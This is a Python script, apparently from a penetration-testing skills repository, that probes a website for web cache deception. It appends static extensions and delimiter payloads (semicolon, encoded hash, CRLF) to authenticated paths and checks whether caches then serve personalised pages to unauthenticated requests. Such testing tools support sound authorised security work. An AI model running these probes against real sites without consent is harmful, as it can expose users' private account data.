Files
Anthropic-Cybersecurity-Skills/skills/performing-web-cache-deception-attack/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

138 lines
5.3 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing web cache deception vulnerabilities.
Appends static file extensions to authenticated URLs to test
whether CDN/proxy caches serve personalized content to other users.
"""
import json
import os
import requests
import sys
from datetime import datetime
CACHE_EXTENSIONS = [".css", ".js", ".png", ".jpg", ".gif", ".ico",
".svg", ".woff", ".woff2", ".pdf", ".txt"]
CACHE_HEADERS = ["X-Cache", "X-Cache-Status", "CF-Cache-Status",
"Age", "X-Varnish", "X-Proxy-Cache", "X-CDN-Cache"]
class WebCacheDeceptionAgent:
"""Tests for web cache deception vulnerabilities."""
def __init__(self, target_url, auth_cookie=None, auth_header=None):
self.target_url = target_url.rstrip("/")
self.session = requests.Session()
if auth_cookie:
self.session.cookies.set(*auth_cookie.split("=", 1))
if auth_header:
self.session.headers["Authorization"] = auth_header
self.findings = []
def check_cache_headers(self, response):
"""Extract cache-related headers from response."""
cache_info = {}
for header in CACHE_HEADERS:
val = response.headers.get(header)
if val:
cache_info[header] = val
cache_info["Cache-Control"] = response.headers.get("Cache-Control", "")
return cache_info
def test_path_confusion(self, authenticated_path="/account"):
"""Test cache deception via path confusion with static extensions."""
url = f"{self.target_url}{authenticated_path}"
results = []
baseline = self.session.get(url, timeout=10, allow_redirects=False)
baseline_len = len(baseline.text)
baseline_has_pii = self._check_pii(baseline.text)
for ext in CACHE_EXTENSIONS:
test_url = f"{url}/nonexistent{ext}"
try:
resp = self.session.get(test_url, timeout=10, allow_redirects=False)
cache_info = self.check_cache_headers(resp)
cached = any(v.lower() in ("hit", "true", "1")
for v in cache_info.values() if isinstance(v, str))
content_match = abs(len(resp.text) - baseline_len) < 100
if content_match and resp.status_code == 200:
unauth = requests.get(test_url, timeout=10)
served_to_unauth = abs(len(unauth.text) - baseline_len) < 100
if served_to_unauth:
self.findings.append({
"type": "Web Cache Deception",
"severity": "Critical",
"url": test_url,
"extension": ext,
"cached_pii": baseline_has_pii,
})
results.append({
"extension": ext, "url": test_url,
"status": resp.status_code,
"content_match": content_match,
"cache_headers": cache_info,
"cached": cached,
})
except requests.RequestException:
continue
return results
def test_delimiter_confusion(self, authenticated_path="/account"):
"""Test path delimiter confusion (semicolon, hash, question mark)."""
delimiters = [";", "%23", "%3f", "%3b", "\r\n"]
results = []
for delim in delimiters:
for ext in [".css", ".js", ".png"]:
test_url = f"{self.target_url}{authenticated_path}{delim}test{ext}"
try:
resp = self.session.get(test_url, timeout=10)
cache_info = self.check_cache_headers(resp)
results.append({
"delimiter": delim, "extension": ext,
"status": resp.status_code,
"cache_headers": cache_info,
})
except requests.RequestException:
continue
return results
def _check_pii(self, text):
"""Check if response contains PII indicators."""
pii_indicators = ["email", "username", "name", "address", "phone",
"ssn", "credit", "account", "@"]
return any(indicator in text.lower() for indicator in pii_indicators)
def generate_report(self):
report = {
"target": self.target_url,
"report_date": datetime.utcnow().isoformat(),
"vulnerable": len(self.findings) > 0,
"findings_count": len(self.findings),
"findings": self.findings,
}
print(json.dumps(report, indent=2))
return report
def main():
url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080")
path = sys.argv[2] if len(sys.argv) > 2 else "/account"
cookie = sys.argv[3] if len(sys.argv) > 3 else None
agent = WebCacheDeceptionAgent(url, auth_cookie=cookie)
agent.test_path_confusion(path)
agent.test_delimiter_confusion(path)
agent.generate_report()
if __name__ == "__main__":
main()